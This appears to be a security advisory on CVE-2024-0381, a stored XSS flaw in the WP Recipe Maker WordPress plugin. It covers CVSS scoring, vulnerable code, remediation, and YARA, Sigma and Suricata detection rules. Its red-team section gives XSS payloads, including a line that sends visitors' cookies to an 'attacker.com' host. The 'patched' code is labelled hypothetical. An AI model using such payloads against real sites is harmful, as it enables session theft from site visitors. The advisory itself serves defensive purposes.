CVE-2024-0381

Executive Summary

CVE-2024-0381 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP Recipe Maker plugin for WordPress, affecting all versions up to and including 9.1.0. The flaw resides in the improper sanitization of the tag attribute within the wprm-recipe-name, wprm-recipe-date, and wprm-recipe-counter shortcodes. Authenticated attackers with contributor-level permissions or higher can inject arbitrary web scripts, which execute when any user accesses the compromised page. This vulnerability is part of the WordPress ecosystem and does not involve Apache or Nginx directly.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify plugin integrity by checking checksums provided by WordPress.org. No known supply chain compromise has been reported, but the lack of a patch increases risk for sites using this plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is elevated due to the low privileges required and the potential for widespread exploitation via stored payloads.

Deep Dive & Mechanics

The vulnerability exists because the tag attribute in the shortcodes is not properly sanitized before being rendered in the HTML output. When a user with contributor-level access or higher creates or edits a recipe, they can set the tag attribute to arbitrary HTML/JavaScript. The plugin then outputs this attribute directly into the page without escaping, leading to Stored XSS.

Affected Shortcodes:

• [wprm-recipe-name tag="..."]
• [wprm-recipe-date tag="..."]
• [wprm-recipe-counter tag="..."]

Attack Flow:

1. Attacker logs in with contributor-level credentials.
2. Attacker creates or edits a recipe post.
3. Attacker sets the tag attribute to a malicious payload, e.g., <img src=x onerror=alert(1)>.
4. The payload is stored in the database.
5. When any user (including admins) views the recipe page, the script executes in their browser.

Vulnerable vs. Patched Code

Vulnerable Code (<= 9.1.0): The plugin likely uses echo or print without escaping the tag attribute. Example:

echo '<' . $tag . ' class="wprm-recipe-name">' . $name . '</' . $tag . '>';

Patched Code (Hypothetical): The fix would involve escaping the tag attribute using WordPress functions like esc_attr() or wp_kses_post(). Example:

$safe_tag = esc_attr($tag);
echo '<' . $safe_tag . ' class="wprm-recipe-name">' . esc_html($name) . '</' . $safe_tag . '>';

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with WP Recipe Maker <= 9.1.0
• Contributor-level account or higher

Steps:

1. Log in as a contributor.
2. Create a new recipe post.
3. In the shortcode editor, set the tag attribute to:

   img src=x onerror=alert(document.cookie)
   

4. Save the recipe.
5. When any user visits the recipe page, the JavaScript executes.

Example Payload:

<img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual shortcode attributes in recipe posts.
• Look for tag values containing <, >, onerror, onload, etc.

Hardening:

• Restrict contributor-level permissions to trusted users only.
• Use a Web Application Firewall (WAF) to block XSS payloads.
• Apply input validation and output escaping via a custom plugin or theme functions.

Indicators of Compromise (IOCs)

• Network: HTTP requests to recipe pages containing suspicious tag attributes.
• File: Modified recipe posts in the WordPress database with malicious shortcode attributes.
• Log: Access logs showing requests to recipe pages with unusual query parameters or referrers.

Example IOC in Database:

SELECT * FROM wp_posts WHERE post_content LIKE '%wprm-recipe-name tag=%';

Detection Engineering

YARA Rule

rule CVE_2024_0381_WP_Recipe_Maker_XSS {
    meta:
        description = "Detects malicious shortcode tag attributes in WP Recipe Maker"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-0381"
    strings:
        $shortcode1 = /\[wprm-recipe-name\s+[^\]]*tag\s*=\s*["'][^"']*[<>]/
        $shortcode2 = /\[wprm-recipe-date\s+[^\]]*tag\s*=\s*["'][^"']*[<>]/
        $shortcode3 = /\[wprm-recipe-counter\s+[^\]]*tag\s*=\s*["'][^"']*[<>]/
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-0381 WP Recipe Maker Stored XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS via tag attribute in WP Recipe Maker shortcodes
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains:
            - 'wprm-recipe-name'
            - 'wprm-recipe-date'
            - 'wprm-recipe-counter'
        cs-uri-query|re: 'tag\s*=\s*["\'][^"\']*[<>]'
    condition: selection
falsepositives:
    - Legitimate use of HTML tags in recipe names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-0381 WP Recipe Maker Stored XSS"; flow:to_server,established; content:"wprm-recipe-name"; http_uri; pcre:"/tag\s*=\s*["\'][^"\']*[<>]/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the WP Recipe Maker plugin until a patch is available.
2. Remove or sanitize any existing recipe posts with suspicious tag attributes.
3. Audit user roles and remove contributor-level access from untrusted users.

Long-term Fix:

• Apply the official patch when released by the vendor.
• Implement output escaping in custom code using esc_attr() and esc_html().
• Use a security plugin like Wordfence to monitor for XSS attempts.

Workaround:

• Modify the plugin code to sanitize the tag attribute (not recommended for non-developers).

Valters IT
Securing Digital Frontiers